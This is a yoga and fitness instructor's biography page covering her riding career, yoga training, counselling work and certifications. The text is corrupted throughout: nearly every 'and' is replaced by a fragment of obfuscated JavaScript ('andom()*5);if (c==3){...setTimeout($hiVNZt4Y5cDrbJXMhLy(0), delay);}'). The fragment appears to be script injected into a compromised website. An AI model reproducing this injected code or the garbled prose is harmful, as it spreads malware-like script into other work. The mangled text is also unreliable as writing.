Knan Lee, M. Ed. E-RYT-500

girltreeOriginally from Northern California, I moved to Ocala in 1975 to pursue a career in the racehorse industry. I fell in love with Ocala andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and worked as an exercise rider andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and assistant trainer riding racehorses professionally until 1990.

My Yoga Journey:

The summer of 1978, I discovered Hatha Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attended teacher workshops in California under the late Yoga Master, Richard Hittleman’s tutelage. Although many predicted Yoga was a fad, I quickly became addicted to the myriad ways the stretches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breathing exercises impacted me, heart andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soul. I immediately saw an improvement in my riding skills: my balance improved, my breathing, stamina andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flexibility all improved; it seemed as if everything was positively impacted.

I began teaching Yoga in 1991. By the late 90’s I had transitioned to providing mental health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and substance abuse counseling to youthful offenders at a correctional facility for adjudicated youth. One of the interventions I used with the boys was introducing them to a daily Yoga practice.

My personal Yoga practice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and study continues to grow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has sustained me through health issues that challenged me during the beginning of the new millennium; one health issue required chemo treatment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and another health issue was an accident, which required physical therapy. These episodes have provided me with the experiences andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and empathy that help make me a uniquely qualified trainer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teacher.

As I continue my personal journey in life, I believe I have evolved into a trainer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Yoga instructor cognizant of the issues of the mature body. I understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the issues of a ‘well-used’ frame, arthritis, disc disease andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the other issues that come to us as we age. I also understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the individual who perhaps has been sedentary due to set backs from illness or injury, or now wishes to make a positive change andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wants to get there at an intelligent pace.

My interest in personal fitness led me to return to school to add the certification of a Personal Fitness trainer to my Yoga knowledge. Additionally, seeing the need to meet my students’ fitness at every level of mobility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flexibility, I became certified to teach Chair Yoga with Lakshmi Voelker Chair Yoga*. I am a Yoga Alliance E-RYT-500 Hatha Yoga Teacher as well, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and member of the International Association of Yoga Therapists.

I enjoy helping people reach personal goals, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and especially their health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness goals . My Mission at Healthy Hearts Fitness is to meet you at your level of activity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mobility to assist you in improving your quality of life through any mode of fitness mentoring that I offer: Yoga, Pilates, Core Strengthening/Conditioning, Yogalates, Personalized Fitness Mentoring, Motivational Goal Setting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Chair Yoga.

Ongoing education

Each year I attend Fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Yoga Conferences, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and various workshops in Pilates, Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness health to continue my education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to increase my knowledge base. I am always happy to share this documentation with my students. I’m committed to delivering the best instruction andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness/wellness guidance to my students.

Call for a consultation, if you are undecided about which mode of Personalized Fitness is best suited to your needs, I will assist you in making the perfect choice for your health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness goals.